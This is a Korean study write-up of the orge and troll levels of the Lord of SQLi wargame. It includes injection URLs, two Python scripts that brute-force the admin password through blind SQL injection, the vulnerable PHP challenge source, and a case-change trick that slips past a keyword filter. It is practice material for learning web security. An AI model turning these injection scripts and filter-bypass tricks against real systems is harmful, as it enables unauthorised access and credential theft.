lordofsql: orge,troll
길이를 알아내자
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='||length(pw)='8
글자 부분은 문자열로 처리하는 것을 잊지 말자
8글자이다.
서연님 코드 💖
import string from requests import get cookies = dict(PHPSESSID="p24meiam9jk50qesefn9judace")
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
abc = string.digits + string.ascii_letters
result = 'result : ' length = 8 for i in range(1, length + 1):
for ch in abc: param = "?pw='||ascii(substr(pw," + str(i) + ",1))=" + str(ord(ch)) + "%23"
new_url = url + param req = get(new_url, cookies=cookies)
if req.text.find("<h2>Hello admin</h2>") > 0: result += ch
print(result)
break
지연님 코드 💖
import requests
password=''
for i in range(8):
for j in range(48,122):
URL='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
query={'pw':"' || id='admin' && substr(pw,"+str(i+1)+",1)=\""+chr(j)+"\"#"}
headers={'Content-Type':'application/json:charset=utf-8'}
cookies = {'PHPSESSID':'ae5ouk0j97f604dq5vvejgao5h'} //쿠키 적어주기
res = requests.get(URL,params=query,headers=headers,cookies=cookies)
if "Hello admin" in res.text:
print("[=]Found:"+chr(j))
password=password+chr(j)
break
print(password)
근데 대문자가 아닌 소문자로 적어줘야한다.
신기하다
troll
코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
$query = "select id from prob_troll where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("troll");
highlight_file(__FILE__);
?>
id가 admin이면 troll이 풀리나보다.
https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=admin
하면 HeHe가 뜬다.
admin 우회 방법
웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips
지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다. 모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다. 기억나는대로 추가해서 수정하겠습니다. - o
ar9ang3.tistory.com
preg_match는 php에서 정규식을 표현하는 구문이다.
https://ponyozzang.tistory.com/176
알기 쉬운 PHP 정규식 표현 preg_match 함수 설명 및 샘플
알기 쉬운 PHP 정규식 표현 preg_match 함수 PHP에서는 preg_match함수를 사용하여 정규식 표현을 작성합니다. preg_match 첫 번째 인수 : 정규식 표현 작성. 두 번째 인수 : 검색 대상 문자열. 세 번째 인수 :
ponyozzang.tistory.com
정규식 표현들을 보면
https://blog.outsider.ne.kr/141
정규식(Regular Expression) 대충 정리... :: Outsider's Dev Story
정규식은 학생때도 배웠고 가끔 접하긴 하는데 할때마다 어려운것 같다. 학생때는 아~ 이런거구나 한적도 있는것 같은데 코딩할려고 하면 막상 매칭시킬려고 하면 왜 이렇게 어려운건지.... 할
blog.outsider.ne.kr
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
i는 대소문자 구분 없이라는 뜻이다.
특수문자를 표현할때는 \를 붙여서 \" 라고 쓴다
--> '를 대소문자 구분없이 id와 매치하는지 확인
매치할 경우 No Hack ~_~
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
id가 admin이면 HeHe라고 뜬다.
/admin/ 라고 된 이유는 위 블로그를 보면 알겠지만 자바스크립트에서는 정규식을 /.../이렇게
묶어준다고한다. php도 그런 것 같다.
위 식에서 힌트를 얻어 대문자로 ADMIN을 쓰면 될 것이다.